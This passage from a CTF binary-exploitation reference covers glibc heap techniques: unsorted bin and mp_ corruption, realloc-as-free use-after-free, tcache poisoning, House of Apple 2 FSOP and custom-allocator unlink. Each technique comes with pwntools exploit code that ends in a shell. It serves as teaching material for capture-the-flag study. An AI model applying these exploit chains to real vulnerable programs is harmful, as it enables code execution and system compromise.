chain:**\n```python\n# 1. Off-by-one NULL: corrupt next chunk's PREV_INUSE, set prev_size\n# → create overlapping chunks via heap consolidation\n\n# 2. Free victim into unsorted bin\n# → victim->fd = main_arena+88, victim->bk = main_arena+96\n\n# 3. Unsorted bin attack: set victim->bk = &stdin._IO_buf_end - 0x10\n# When malloc() removes victim from unsorted bin:\n# → victim->bk->fd = victim (writes heap address → _IO_buf_end)\n# But for full attack: set bk = &target - 0x10 to write main_arena+88 there\n\n# 4. stdin._IO_buf_end is now a large value → next scanf reads huge input\n# → attacker data written into libc stdin buffer region\n# → __malloc_hook in that region gets overwritten with one_gadget\n\n# 5. Trigger: any malloc() call → __malloc_hook → one_gadget → shell\n```\n\n**Key insight:** Unsorted bin attack on `_IO_buf_end` causes `scanf` to read from an attacker-controlled buffer region inside libc's data segment. Since `__malloc_hook` resides near the stdin buffer in libc, a single large read can overwrite it with a one_gadget address.\n\n**References:** HITCON CTF 2017\n\n---\n\n## Unsorted Bin Corruption via mp_ Structure (HITCON 2017)\n\n**Pattern:** glibc's `mp_` (`malloc_par`) global structure lies near the unsorted bin in libc's data segment. A heap overflow combined with unsorted bin corruption overwrites `mp_->bk` with an address inside `mp_`. The `mp_` structure contains fields that, when interpreted as a free chunk header, pass unsorted bin validation (`size \u003c system_mem`). Allocating from this \"chunk\" grants write access inside `mp_`, enabling overwrite of `__malloc_hook`. Requires partial ASLR brute-force (1/16 chance) for the heap address alignment.\n\n**Why mp_ works:**\n```c\n// mp_ layout (glibc 2.23, near unsorted bin in libc BSS):\n// struct malloc_par {\n// unsigned long trim_threshold; // offset 0x00 — large value, passes size check\n// unsigned long top_pad; // offset 0x08\n// ...\n// unsigned long system_mem; // offset 0x48 — must be > fake chunk size\n// };\n// mp_.trim_threshold interpreted as chunk size → satisfies unsorted bin checks\n// malloc from mp_-as-chunk returns memory overlapping mp_ fields\n// Write __malloc_hook offset within mp_ → control next malloc → one_gadget\n```\n\n**Exploitation:**\n```python\n# Heap overflow: corrupt unsorted bin chunk's bk to point into mp_\ncorrupted_bk = mp_addr + FAKE_CHUNK_OFFSET # offset where size field looks valid\n\n# Trigger unsorted bin traversal: malloc() of appropriate size\n# → unsorted bin unlinks fake chunk at mp_\n# → returns pointer into mp_ data\n# Write one_gadget to __malloc_hook offset within returned chunk\nmalloc(size) # returns mp_+0x10\nwrite_to_result(one_gadget) # overwrites __malloc_hook\n\n# Trigger: next malloc() → __malloc_hook → one_gadget → shell\n```\n\n**Key insight:** glibc's `mp_` global structure passes unsorted bin validation naturally — its `trim_threshold` field serves as a convincing fake chunk size. A fake free chunk planted via unsorted bin corruption there enables allocation directly into glibc metadata, bypassing the need for any heap-side fake chunk construction.\n\n**References:** HITCON CTF 2017\n\n---\n\n## realloc(ptr, 0) as free() for UAF (AceBear 2018)\n\n**Pattern:** `realloc(ptr, 0)` behaves like `free(ptr)` in many glibc versions, returning the chunk to the freelist while the application may retain the old pointer — creating a use-after-free.\n\n**How it works:**\n```c\n// C standard says realloc(ptr, 0) is implementation-defined\n// In glibc: realloc(ptr, 0) calls free(ptr) and returns NULL\n// If the application doesn't check the return value:\nvoid *ptr = malloc(0x80);\nptr = realloc(ptr, 0); // ptr is now NULL, chunk is freed\n// But if the app stores the old pointer separately:\nvoid *saved = ptr;\nptr = realloc(ptr, 0); // freed, but saved still points to freed chunk\n// saved is now a dangling pointer → UAF\n```\n\n**Exploitation:**\n```python\nfrom pwn import *\n\n# Step 1: Allocate a chunk\nadd(0, 0x80, b\"AAAA\") # chunk at index 0\n\n# Step 2: Trigger realloc with size 0\n# Internally calls realloc(ptr, 0) which frees the chunk\nedit(0, size=0) # realloc(ptr, 0) = free(ptr)\n# ptr is now freed but the application still holds the pointer at index 0\n\n# Step 3: Allocate new chunk that reuses the freed memory\nadd(1, 0x80, b\"BBBB\") # gets the same address as freed chunk\n\n# Step 4: Read through original index 0 → reads attacker-controlled data from index 1\n# Or: write through index 0 to corrupt index 1's chunk\nview(0) # UAF read — sees \"BBBB\" written by index 1\n```\n\n**Tcache variant (glibc 2.26+):**\n```python\n# realloc(ptr, 0) puts the chunk in the tcache bin\n# Subsequent malloc of the same size returns the same chunk\n# Double reference enables tcache poisoning:\n\nadd(0, 0x80, b\"AAAA\")\nedit(0, size=0) # free via realloc → tcache[0x90]\nadd(1, 0x80, p64(target)) # reuse freed chunk, write fake fd pointer\n# If index 0 still references the chunk:\nedit(0, size=0) # double-free via realloc → tcache poisoning\nadd(2, 0x80, b\"CCCC\") # returns freed chunk\nadd(3, 0x80, payload) # returns target address → arbitrary write\n```\n\n**Key insight:** `realloc(ptr, 0)` is implementation-defined. In glibc, it frees the block and returns NULL. If the application doesn't check the return value or still uses the old pointer, this creates a UAF. Look for `realloc` calls where the size parameter is user-controlled — setting it to 0 triggers the free behavior without going through the application's normal delete/free path, potentially bypassing reference counting or pointer nullification in the delete handler.\n\n**When to recognize:** Challenge uses `realloc` for resize operations and the size is user-controlled. The \"edit\" or \"resize\" functionality internally calls `realloc` — check if size=0 is handled specially or just passed through. Also check if the return value of `realloc` is used to update the stored pointer (if not, the old pointer becomes dangling).\n\n**References:** AceBear 2018\n\n---\n\n## Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)\n\n**Pattern:** A struct stores its own reference count in a `uint8_t` field. The object is freed only when `refcount == 0`, but because the counter wraps at 256, calling the `addref()` path 256 times brings `refcount` back to zero while every outstanding handle still holds a live pointer. The next call to `release()` frees the object — all other handles become dangling.\n\n**Exploit sketch:**\n```c\nstruct Book {\n uint8_t refcount; // 1 byte — vulnerable\n char title[32];\n void (*read)(struct Book*);\n};\n\n// 1. create(h0) refcount = 1\n// 2. dup(h0) → h1 ... h256 refcount wraps 1 → 2 → ... → 0\n// 3. release(h1) refcount = 255 (underflow) → object freed\n// 4. Heap reallocation fills the same chunk with attacker data\n// 5. read(h0) calls attacker-controlled vtable pointer\n```\n\n**Key insight:** Any counter that guards lifetime must be wide enough to exceed the number of handles the program can create in one session. `uint8_t` refcounts are always a red flag — verify that the `addref` path either saturates (stays at 255) or uses a wider type. The exploit only needs 256 `addref` calls and one extra `release`, so even heavily rate-limited handle APIs remain reachable.\n\n**References:** WhiteHat Grand Prix 2018 — writeup 10809\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15194,"content_sha256":"a8ee87cb638a4fdab8c73c870ab70e6c141b5a8c047302c0503a8e844e565e96"},{"filename":"heap-techniques-2.md","content":"# Heap Exploitation Techniques (Part 2)\n\nContinuation of [heap-techniques.md](heap-techniques.md). Part 2 collects CTF-specific UAF, tcache, and custom-allocator variants drawn from individual writeups.\n\n## Table of Contents\n- [UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)](#uaf-vtable-pointer-encoding-shell-argument-bctf-2017)\n- [Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)](#uninitialized-chunk-residue-pointer-leak-picoctf-2018)\n- [tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)](#tcache-strcpy-null-byte-overflow--backward-consolidation-hitcon-2018)\n- [Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)](#adjacent-struct-fn-pointer-overflow-for-libc-leak--got-overwrite-ritsec-2018)\n- [Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)](#hidden-menu-option-1337-for-tcache-poisoning-fireshell-2019)\n- [Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)](#tcache-double-free--fake-_io_file-vtable-stdout-hijack-bctf-2018)\n- [Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)](#tcache-to-fastbin-promotion-cross-bin-attack-bctf-2018)\n- [6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)](#6-bit-index-oob--written_bytes-accumulator-for-fn-pointer-increment-codegate-2019)\n- [IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)](#is_mmaped-bit-flip-for-unsorted-bin-leak-on-callocd-chunk-0ctf-2017)\n- [Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)](#filename-regex-constrained-fastbin-via-lsb-only-heap-pointer-overwrite-bsidessf-2019)\n- [Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)](#custom-allocator-unsafe-unlink-to-got-def-con-qualifier-2014)\n\nFor FILE-structure (_IO_FILE) exploitation see [heap-fsop.md](heap-fsop.md). For the foundational houses (Apple 2, Einherjar, Orange, Spirit, Lore, Force), unsafe unlink, tcache stashing, and musl, see [heap-techniques.md](heap-techniques.md).\n\n---\n\n## UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)\n\n**Pattern:** After UAF, heap spray fills memory with `system()` addresses at a 3-byte offset. The vtable pointer address `0x??006873` encodes ASCII `\"sh\\x00\"` at the object start, so calling `system()` through the vtable executes `system(\"sh\")`.\n\n```python\nfrom pwn import *\n\n# Heap spray: fill 16MB with system() address at offset +3\n# Each spray chunk: 3 bytes padding + 8 bytes system_addr, repeated\nspray_unit = b\"\\x00\" * 3 + p64(system_addr)\nspray_data = spray_unit * (0x1000000 // len(spray_unit))\n\n# Trigger heap spray via application interface\nfor i in range(spray_count):\n alloc(spray_data[:chunk_size])\n\n# UAF object at address 0xXX006873\n# Bytes at object start: 73 68 00 XX = \"sh\\x00...\"\n# When vtable call dispatches: system(this) → system(\"sh\")\n\n# Trigger: free the target object, then invoke its virtual method\nfree(target_obj)\ntrigger_vtable_call(target_obj) # calls system(\"sh\")\n```\n\n**Key insight:** The vtable pointer value itself serves as the string argument to `system()`. By arranging the heap spray so objects land at addresses containing `0x6873` (ASCII \"sh\") in the low bytes, the object's address doubles as a valid shell command string. This eliminates the need for a separate controlled string — the pointer IS the argument.\n\n**When to recognize:** UAF on a C++ object with virtual methods, where you control heap layout but not the exact content at the object's `this` pointer. If `system()` is called with `this` as the first argument (common in vtable dispatch), the object's address just needs to decode as a valid command string.\n\n**References:** BCTF 2017\n\nSee [heap-fsop.md](heap-fsop.md) for FILE-structure (_IO_FILE) exploitation: fastbin stdout vtable hijack, _IO_buf_base null-byte overwrite, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on stdin FILE fields, and related UAF/refcount bugs.\n\n---\n\n## Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)\n\n**Pattern:** A contact manager allocates a struct `{name, bio}` on the heap but only writes `name`, leaving `bio` uninitialized. After a delete-then-create cycle the new allocation reuses a chunk that still holds a stale pointer from a previous contact. The application's `print_contact()` dereferences `bio`, turning the leftover allocator residue into a controlled heap/libc read.\n\n```c\nstruct contact { char *name; char *bio; }; // bio never zeroed\n\nvoid create() {\n struct contact *c = malloc(sizeof *c);\n c->name = malloc(NAME_SZ);\n read_line(c->name, NAME_SZ);\n // bio left uninitialized!\n}\n\nvoid print(struct contact *c) { puts(c->bio); } // leaks stale pointer target\n```\n\n```python\nfrom pwn import *\nio = process(\"./contacts\")\n\n# 1. Prime the heap: create a contact whose name chunk will later be reused\n# as the struct for the next contact.\nio.sendline(\"create\"); io.sendline(\"A\" * 0x18)\nio.sendline(\"delete 0\")\n\n# 2. Create a new contact — it grabs the previously freed chunk. The old\n# name bytes now live in the struct's `bio` field.\nio.sendline(\"create\"); io.sendline(\"B\" * 0x10)\n\n# 3. Print → leaks the residue as if it were a bio string.\nio.sendline(\"print 0\")\nleak = u64(io.recvline().ljust(8, b\"\\x00\"))\nlog.success(f\"heap leak: {leak:#x}\")\n```\n\n**Key insight:** Uninitialized fields are write-what-where primitives in reverse — the attacker does not choose *what* the field holds but can *place* chunks so that useful bytes end up in it. Target any struct field that is (a) read later without being written and (b) subject to chunk reuse. Common culprits: manually-written `malloc` + `read_line` pairs, C++ classes with members that skip initialisation in non-default constructors, and zero-allocated-then-partially-written caches.\n\n**References:** picoCTF 2018 — Contacts, writeup 11585\n\n---\n\n## tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)\n\n**Pattern:** `strcpy(dst, user_name)` appends a trailing NUL that falls one byte past the allocated chunk, clearing `PREV_INUSE` on the next chunk's size field. With a forged `prev_size`, `free()` triggers backward consolidation across a tcache-resident chunk, producing two overlapping heap regions. Splitting out a remainder chunk keeps main_arena pointers in the `fd`/`bk` of one of the overlapping allocations, giving an unsorted-bin-style libc leak in the tcache era.\n\n```c\n// Allocation pattern (glibc 2.27 tcache)\nchar *a = malloc(0xF8); // victim 1\nchar *b = malloc(0x18); // small header chunk with PREV_INUSE\nstrcpy(a, payload); // 0xF8 bytes + '\\0' overflows into b->size\n```\n\n```python\nfrom pwn import *\n\nio = process(\"./children_tcache\")\nlibc = ELF(\"./libc-2.27.so\")\n\n# 1. Zero the 0xda memset residue with repeated smaller allocations.\nfor size in (0x70, 0x60, 0x50, 0x40):\n io.sendline(\"add\"); io.sendline(str(size)); io.sendline(b\"\\x00\" * size)\n\n# 2. Set up two adjacent chunks:\nio.sendline(\"add\"); io.sendline(\"0xF8\"); io.sendline(b\"A\" * 0xF8) # victim 1\nio.sendline(\"add\"); io.sendline(\"0x18\"); io.sendline(b\"B\" * 0x18) # header\n\n# 3. Free victim 1 into the smallbin (needs a > 0x408 sibling to bypass tcache).\nio.sendline(\"add\"); io.sendline(\"0x420\"); io.sendline(b\"X\" * 0x420)\nio.sendline(\"del 0\") # smallbin → keeps libc fd/bk\n\n# 4. Overflow via strcpy: clears PREV_INUSE, forges prev_size → backward consolidate\noverflow = b\"A\" * 0xF0 + p64(0x100) # fake prev_size\nio.sendline(\"edit 1\"); io.sendline(overflow)\nio.sendline(\"del 1\") # consolidate: now we overlap\n\n# 5. Re-allocate the coalesced region and read the libc pointer that still\n# lives in the old fd/bk location.\nio.sendline(\"add\"); io.sendline(\"0x110\"); io.sendline(b\"P\" * 0x10)\nio.sendline(\"show 0\")\nleak = u64(io.recvline().strip().ljust(8, b\"\\x00\"))\nlibc.address = leak - (libc.symbols[\"main_arena\"] + 0x60)\nlog.success(f\"libc base {libc.address:#x}\")\n```\n\n**Key insight:** tcache bypasses most pre-2.27 consolidation tricks, but the `strcpy` null-byte overflow remains viable because it acts on the *next chunk's header*, not the current chunk's in-use flag. Combined with careful zeroing of glibc 2.26+ memset residue (the `0xda` pattern glibc uses on free), you can re-use classic off-by-one-null techniques even in a tcache world. The magic sizes are: large enough to skip the tcache (>0x408 for the freed chunk), small enough to land next to the overflow target.\n\n**References:** HITCON CTF 2018 — Children Tcache, writeup 11929\n\n---\n\n## Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)\n\n**Pattern:** Go binary compiled with `cgo` places a name buffer immediately adjacent to a struct whose first field is a function pointer (C-style vtable). Overflowing the name field corrupts the next struct's function pointer. First overwrite → redirect the call to `puts(got['free'])` to leak libc. Second overwrite → point free's GOT entry at `system`, then free a chunk whose contents are `\"/bin/sh\"`.\n\n```python\n# 1. Leak libc\npayload = b'A'*name_size + p64(puts_plt) + p64(pop_rdi_ret) + p64(free_got)\nio.send(payload); io.recvuntil(b'name: '); libc = u64(io.recv(6).ljust(8, b'\\x00'))\n\n# 2. Overwrite free@GOT with system\nlibc_base = libc - libc_syms['puts']\nio.send(b'A'*name_size + p64(libc_base + libc_syms['system']))\n\n# 3. Free a chunk whose contents are \"/bin/sh\\x00\"\nio.sendline('/bin/sh')\nio.sendline('delete 0')\n```\n\n**Key insight:** cgo binaries often have C-style structs next to Go-allocated buffers, so classic C-heap techniques still work against Go servers. Look for `GoString` + `char*` + function pointer patterns in the decompile; the layout is usually deterministic.\n\n**References:** RITSEC CTF 2018 — Yet Another HR Management Framework, writeups 12283, 12287\n\n---\n\n## Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)\n\n**Pattern:** The visible menu caps allocations at a few chunks, but disassembly reveals an undocumented option (`1337`) that calls `malloc` and `edit` without updating the counter — effectively giving you unlimited allocations. Combined with a vanilla tcache UAF, this lets you flood the tcache, overwrite an entry's `fd` with a BSS target, and `malloc` arbitrary addresses.\n\n```python\ndef hidden(sz, data):\n p.sendlineafter(b'>', b'1337')\n p.sendlineafter(b'size:', str(sz).encode())\n p.sendafter(b'data:', data)\n\nfree(0); free(1)\nhidden(0x20, p64(bss_target)) # tcache fd → bss_target\n_ = malloc(0x20) # first chunk back\nshell = malloc(0x20) # returns bss_target\n```\n\n**Key insight:** Always dump the menu parser for undocumented branches before assuming a challenge is \"rate-limited\". Numeric options like `1337`, `9999`, `0xdead` are classic bypasses that the author ships to debug the challenge.\n\n**References:** FireShell CTF 2019 — babyheap, writeup 12962\n\n---\n\n## Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)\n\n**Pattern:** Small allocation budget, fastbin + tcache available. Double-free a fastbin chunk into the tcache, malloc to obtain a tcache entry that points at `_IO_2_1_stdout_`, then overwrite stdout's `vtable` pointer to a fake jump table where `_IO_file_overflow` → `system`. Next printf call executes `system(\"/bin/sh\")`.\n\n```python\n# 1. Free A twice (bypasses fastbin double-free via tcache)\nfree(A); free(A)\n# 2. Malloc returns A; write stdout addr as next fd\nedit(A, p64(stdout))\n# 3. Next malloc returns stdout\nmalloc()\nmalloc() # returns &stdout\nedit(stdout, fake_file_struct(vtable=fake_vt))\n```\n\nFake vtable entry: slot for `_IO_file_overflow = system`.\n\n**Key insight:** tcache skips fastbin safety checks, so a double-free directly into the tcache works without the usual size-field trickery. The resulting write-where primitive reaches `_IO_2_1_stdout_` in libc trivially.\n\n**References:** BCTF 2018 — easiest, writeup 12489\n\n---\n\n## Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)\n\n**Pattern:** Only ~2 allocations available — too few for a traditional tcache dup. Instead, fill tcache, overflow into fastbin, craft chunk whose header points inside a known structure. When fastbin allocation promotes back into tcache (after a future free), malloc returns the header address.\n\n```python\nfor _ in range(7): free(tcache_chunks[_]) # fill tcache bin\nfree(fastbin_chunk) # goes to fastbin\nedit(fastbin_chunk, p64(target_hdr)) # poison fastbin fd\n# Drain tcache so next free of fastbin_chunk promotes:\nfor _ in range(7): malloc(size)\nfree(fastbin_chunk) # now lands in tcache\nmalloc(size) # returns tcache head = target_hdr\n```\n\n**Key insight:** tcache and fastbin share size classes at certain boundaries; a chunk that starts in one often migrates to the other. Use that promotion as an additional reallocation step when budget is tight.\n\n**References:** BCTF 2018 — three/houseofatum, writeups 12476, 12477\n\n---\n\n## 6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)\n\n**Pattern (archiver):** C++ compressor keeps a 48-element QWORD cache (`cached_qwords[48]`) but the cache-read/write opcodes accept a 6-bit index (0-63), giving OOB access into the surrounding object (`buf`, `buf_size`, `buf_offset_Q`, `written_bytes`, `print_uncomp_fsz`). All operations are QWORD-aligned so you cannot directly slice a function pointer; instead, abuse the unused `written_bytes` counter as a programmable offset accumulator to turn `print_uncomp_fsz` into `cat_flag()`.\n\n```python\n# OOB write primitives (a2 in [0, 0x3f]):\n# cache_qword(a2, k) -> cached_qwords[a2] = buf[buf_off_Q - k]\n# save_cached_qword_to_comp(a2) -> buf[++off] = cached_qwords[a2]; written_bytes += 8\n\n# 1. Preallocate buf so it is not realloc'd later (avoids data loss).\n# 2. Save print_uncomp_fsz into buf via OOB save_cached_qword_to_comp(0x34).\n# 3. Move it back into written_bytes via OOB cache_qword(0x33, 1).\n# 4. Emit 0x38 cached QWORDs -> written_bytes += 0x38*8 == 0x1c0 (offset to cat_flag).\n# 5. Save the now-incremented written_bytes into buf, then OOB write it back\n# on top of print_uncomp_fsz. Trigger an error path so main() calls it.\npayload += save_cached_qword_to_comp(0x34) # fn ptr -> buf\npayload += cache_qword(0x33, 1) # buf -> written_bytes\npayload += save_cached_qword_to_comp(0) * 0x38 # written_bytes += 0x1c0\npayload += save_cached_qword_to_comp(0x33) # written_bytes -> buf\npayload += cache_qword(0x34, 1) # buf -> print_uncomp_fsz\n```\n\n**Key insight:** When OOB writes are QWORD-aligned but the target function sits only `N*0x10` bytes from an existing pointer, look for a process-local counter in the same struct that is incremented by a known stride. Treating that counter as an arithmetic shim turns an aligned-write primitive into a byte-precise pointer increment, bypassing PIE without ever leaking a code address.\n\n**References:** Codegate CTF 2019 Preliminary — archiver, writeup 13014\n\n---\n\n## IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)\n\n**Pattern (BabyHeap2017):** Heap overflow in a full-mitigation binary (Full RELRO, canary, NX, PIE, ASLR). `calloc` normally zeroes freshly-allocated chunks, blocking the classic unsorted-bin leak where fd/bk overlap reusable data. However, when the chunk's `IS_MMAPED` flag is set, glibc skips zeroing. Overflow the preceding chunk to flip `IS_MMAPED` on a freed unsorted-bin chunk, then re-allocate it with `calloc` — the arena pointers in fd/bk survive and leak libc.\n\n```python\n# Layout: A (0x80) | B (0x80 freed -> unsorted) | C (victim with overflow)\n# Overflow from A into B's chunk header: set size |= IS_MMAPED (bit 1 of size field)\nedit(A, b'A'*0x80 + p64(0) + p64(0x91 | 0x2)) # prev_size=0, size=0x91|IS_MMAPED\n\n# calloc-reallocate B: because IS_MMAPED is set, calloc does NOT memset it.\n# B's fd/bk still point to main_arena + 0x58 -> libc leak via view(B).\nmalloc(0x80) # returns B with libc pointer intact in first 16 bytes\nlibc_base = leak - main_arena_offset\n\n# Follow-up: fastbin dup -> __malloc_hook -> one_gadget\n```\n\n**Key insight:** `calloc`'s zeroing is conditional on the allocator path. Setting `IS_MMAPED` via heap overflow tricks `calloc` into treating the reused chunk as freshly mmap'd and skipping `memset`, preserving any arena pointers previously written into fd/bk. A 2-bit metadata overwrite defeats the \"calloc blocks leaks\" assumption.\n\n**References:** 0CTF 2017 Quals — babyheap, writeup 13262\n\n---\n\n## Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)\n\n**Pattern (straw_clutcher):** File-server heap has a `RENAME` handler that length-checks `old_name` twice instead of `old_name`/`new_name`, giving a bounded heap overflow into the adjacent `file_t` (`filename[0x20]`, `file_size`, `data`, `free_option`, `prev_file`). Every filename must match `[A-Za-z0-9]+.[A-Za-z0-9]{3}`, which rules out full fastbin-fd overwrites — but the regex only sees the **first null-terminated string** stored in `filename`, so the bytes after a preserved null are unconstrained. Corrupt only the LSB of `prev_file` so it re-points to `file->data` (attacker-controlled), forging a fake chunk that enables double-free + fastbin attack on `__malloc_hook`.\n\n```python\n# 1. Leak libc/heap by overwriting file_size to huge value, then RETR dumps the heap.\n# 2. Create file whose data bytes satisfy regex as a fake file_t chunk header.\npc.sendline('PUT EEE.EXE {}'.format(0x48))\npc.send(p64(0x4848482e484848) + p64(0)*4 # fake filename \"HHH.HHH\"\n + p64(0x68) # fake file_size\n + p64(heap + 0x250) + p64(0) # fake data\n + p64(heap + 0x190)) # fake prev_file\n# 3. Produce two 0x70 freed chunks, then overwrite LSB of file->prev_file via rename:\npc.sendline('RENAME EEE.EXE ' + 'E'*7*8 + 'EEEEE.EXP')\n# Only LSB of prev_file changes -> upper bytes preserved, LSB lands inside data.\n# 4. DELE the forged entry -> double-free on 0x70 tcache/fastbin.\n# 5. Classic fastbin poison onto __malloc_hook - 0x23, then trigger with PUT.\n```\n\n**Key insight:** When an overflow is byte-addressable but must pass a character-class filter, target only the LSB of heap-metadata pointers. Heap addresses share upper bytes across chunks, so a single attacker-controlled LSB relocates a pointer inside the same 256-byte window — enough to land it in a buffer you already control, bypassing regex/charset constraints that would reject a full 8-byte overwrite.\n\n**References:** BSidesSF 2019 — straw_clutcher, writeup 13763\n\n---\n\n## Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)\n\n**Pattern:** Non-glibc allocator with naive `free` — sets `mem[fd] = bk` (and symmetric `mem[bk+4] = fd`) without any safe-unlink consistency check. Overflow from the 10th chunk (0x104 bytes) corrupts chunk 11's `fd`/`bk` so that when chunk 9 is freed and chunk 11 becomes its \"neighbour\" during consolidation, the unlink writes `printf@GOT` → shellcode jump.\n\n```python\nfrom pwn import *\ncontext(arch='i386', os='linux')\n\nprintf_got = 0x804c004\narray_10_addr = 0x... # leaked from banner output \"loc=0xADDR\"\n\npayload = p32(printf_got - 8) # fake fd -> target = printf GOT (minus 8 for offset)\npayload += p32(array_10_addr + 8) # fake bk -> value = addr of shellcode jump\npayload += b\"\\xeb\\x08\" + b\"A\"*8 + asm(shellcraft.sh()) # jmp +8; pad; shellcode\npayload += b\"A\" * (260 - len(payload))\npayload += p32(0) # next chunk's size field (prev_in_use = 0)\n```\n\n**Key insight:** Custom allocators almost never implement glibc's `fd->bk == chunk && bk->fd == chunk` safe-unlink check introduced in 2004. The classic `write-what-where` via `unlink(chunk)` applies verbatim — target GOT entries that will be called soon (printf, free, puts) and bake a short `jmp +8` over the 8-byte write slot into the shellcode. Validate the faked `size` field of the sentinel chunk so the allocator still consolidates instead of aborting.\n\n**References:** DEF CON CTF Qualifier 2014 — heap, writeup 13953\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":20242,"content_sha256":"85a2c63701ae27c5e2c46d70d1476d2391edc0e7fa62a5aa1be294531a866b1f"},{"filename":"heap-techniques.md","content":"# CTF Pwn - Heap Techniques\n\n## Table of Contents\n- [House of Apple 2 — FSOP for glibc 2.34+ (0xFun 2026)](#house-of-apple-2--fsop-for-glibc-234-0xfun-2026)\n - [setcontext Variant for SUID Binaries (Midnight Flag 2026)](#setcontext-variant-for-suid-binaries-midnight-flag-2026)\n- [House of Einherjar — Off-by-One Null Byte (0xFun 2026)](#house-of-einherjar--off-by-one-null-byte-0xfun-2026)\n- [Heap Exploitation](#heap-exploitation)\n - [Heap Grooming via Application Operations (Codegate 2013)](#heap-grooming-via-application-operations-codegate-2013)\n- [Custom Allocator Exploitation](#custom-allocator-exploitation)\n - [talloc Pool Header Forgery for Arbitrary Read/Write (Boston Key Party 2016)](#talloc-pool-header-forgery-for-arbitrary-readwrite-boston-key-party-2016)\n- [Classic Heap Unlink Attack (Crypto-Cat)](#classic-heap-unlink-attack-crypto-cat)\n- [musl libc Heap Exploitation — Meta Pointer + atexit (UNbreakable 2026)](#musl-libc-heap-exploitation--meta-pointer--atexit-unbreakable-2026)\n- [House of Orange](#house-of-orange)\n- [House of Spirit](#house-of-spirit)\n- [House of Lore](#house-of-lore)\n- [House of Force (CSAW CTF 2016)](#house-of-force-csaw-ctf-2016)\n- [tcache Stashing Unlink Attack](#tcache-stashing-unlink-attack)\n- [Unsafe Unlink to BSS + Top Chunk Consolidation (SECCON 2016)](#unsafe-unlink-to-bss--top-chunk-consolidation-seccon-2016)\n- [Largebin Attack — Dedicated Technique (TravelGraph / Setjmp 2024)](#largebin-attack--dedicated-technique-travelgraph--setjmp-2024)\n- [tcache 2.39 Changes — Key, Count, and calloc](#tcache-239-changes--key-count-and-calloc)\n- [House of Tangerine — tcache Count + Unsorted Bin Variant](#house-of-tangerine--tcache-count--unsorted-bin-variant)\n\nFor CTF-specific UAF, tcache, and custom-allocator writeup variants — UAF vtable pointer encoding, uninitialized chunk residue leak, tcache strcpy null-byte overflow, adjacent-struct fn-pointer overflow, hidden menu tcache poisoning, tcache double-free stdout hijack, tcache-to-fastbin promotion, 6-bit OOB accumulator, IS_MMAPED bit-flip, filename-regex LSB fastbin, and custom-allocator unsafe unlink — see [heap-techniques-2.md](heap-techniques-2.md).\n\nFor FILE-structure (_IO_FILE) exploitation — fastbin stdout vtable hijack, _IO_buf_base null-byte overwrite, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on stdin FILE fields, realloc-as-free UAF, and refcount wraparound — see [heap-fsop.md](heap-fsop.md).\n\n---\n\n## House of Apple 2 — FSOP for glibc 2.34+ (0xFun 2026)\n\n**When to use:** Modern glibc (2.34+) removed `__free_hook`/`__malloc_hook`. House of Apple 2 uses FSOP via `_IO_wfile_jumps`.\n\n**Full chain:** UAF → leak libc (unsorted bin fd/bk) → leak heap (safe-linking mangled NULL) → tcache poisoning to `_IO_list_all` → fake FILE → exit triggers shell.\n\n**Fake FILE structure requirements:**\n```python\nfake_file = flat({\n 0x00: b' sh\\x00', # _flags = \" sh\\x00\" (fp starts with \" sh\")\n 0x20: p64(0), # _IO_write_base = 0\n 0x28: p64(1), # _IO_write_ptr = 1 (> _IO_write_base)\n 0x88: p64(heap_addr), # _lock (valid writable address)\n 0xa0: p64(wide_data_addr), # _wide_data pointer\n 0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps\n}, filler=b'\\x00')\n\nfake_wide_data = flat({\n 0x18: p64(0), # _IO_write_base = 0\n 0x30: p64(0), # _IO_buf_base = 0\n 0xe0: p64(fake_wide_vtable), # _wide_vtable\n})\n\nfake_wide_vtable = flat({\n 0x68: p64(libc.sym.system), # __doallocate offset\n})\n```\n\n**Trigger chain:** `exit()` → `_IO_flush_all_lockp` → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `_IO_WDOALLOCATE(fp)` → `system(fp)` where fp = `\" sh\\x00...\"`.\n\n**Safe-linking (glibc 2.32+):** tcache fd pointers are mangled: `fd = ptr ^ (chunk_addr >> 12)`. To poison tcache:\n```python\n# When writing to freed chunk, mangle the target address:\nmangled_fd = target_addr ^ (current_chunk_addr >> 12)\n```\n\n### setcontext Variant for SUID Binaries (Midnight Flag 2026)\n\nWhen exploiting SUID-root binaries, `system(\"/bin/sh\")` fails because dash drops privileges when `uid != euid`. Replace the `system(fp)` target with `setcontext(fp)` to pivot to a ROP chain that calls `setuid(0)` first:\n\n```python\n# Wide vtable targets setcontext instead of system\nfake_wide_vtable = flat({\n 0x68: p64(libc.sym.setcontext + 61), # __doallocate → setcontext\n})\n\n# setcontext loads registers from the ucontext struct: __setcontext does\n# pushq %rdi / popq %rdx, so every load 